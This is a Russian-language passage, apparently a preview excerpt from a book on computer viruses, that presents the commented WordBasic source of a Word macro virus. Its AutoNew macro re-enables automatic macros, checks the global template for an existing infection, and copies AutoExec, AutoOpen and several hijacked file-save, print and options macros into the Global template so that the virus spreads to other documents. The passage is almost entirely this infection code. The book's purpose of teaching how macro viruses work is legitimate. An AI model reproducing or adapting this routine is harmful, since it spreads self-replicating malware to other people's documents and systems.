Пример макро-вируса

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.

Macro name: AutoNew [AUTONEW] ”U”

Encryption key: DF

Sub MAIN

’Включаем обработку автоматических макросов

DisableAutoMacros 0

’Проверим, установлен ли макрос. Если макрос AutoExec

’присутствует, считаем, что файл заражен

If (Installed=0) And (ForgetIt=0) Then

’Заразим. Копируем макрос

MacroCopy WindowName$()+”:AutoExec”, ”Global:AutoExec”, 1

MacroCopy WindowName$()+”:AutoNew”, ”Global:AutoNew”, 1

MacroCopy WindowName$()+”:AutoOpen”, ”Global:AutoOpen”, 1

MacroCopy WindowName$()+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1

MacroCopy WindowName$()+”:DateiSpeichernUnter”,

”Global:DateiSpeichernUnter”, 1

MacroCopy WindowName$()+”:DateiBeenden”,

”Global:DateiBeenden”, 1

MacroCopy WindowName$()+”:ExtrasOptionen”,

”Global:ExtrasOptionen”, 1

MacroCopy WindowName$()+”:DateiDokvorlagen”, ”Global:

DateiDokvorlagen”, 1

MacroCopy WindowName$()+”:It”, ”Global:It”, 1

MacroCopy WindowName$()+”:DateiDrucken”, ”Global:DateiDrucken”, 1

End If

End Sub

’Функция проверяет, инсталлирован ли макрос AutoExec

Function Installed

’Установим переменную Installed в 0 (инициализация переменной).

’При положительном результате проверки установим ее в 1

Installed=0

’Проверим, есть ли макросы

If CountMacros(0) > 0 Then

’Проверим имена макросов. Если есть AutoExec,

’установим переменную Installed в 1

For i=1 To CountMacros(0)

If MacroName$(i, 0)=”AutoExec” Then

Installed=1

End If

Next i

End If

End Function

Function ForgetIt

ForgetIt=0

Section$=”Compatibility”

ProfilName$=”Nomvir”

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$=”0x0690690” Then

ForgetIt=1

End If

End Function

Данный текст является ознакомительным фрагментом.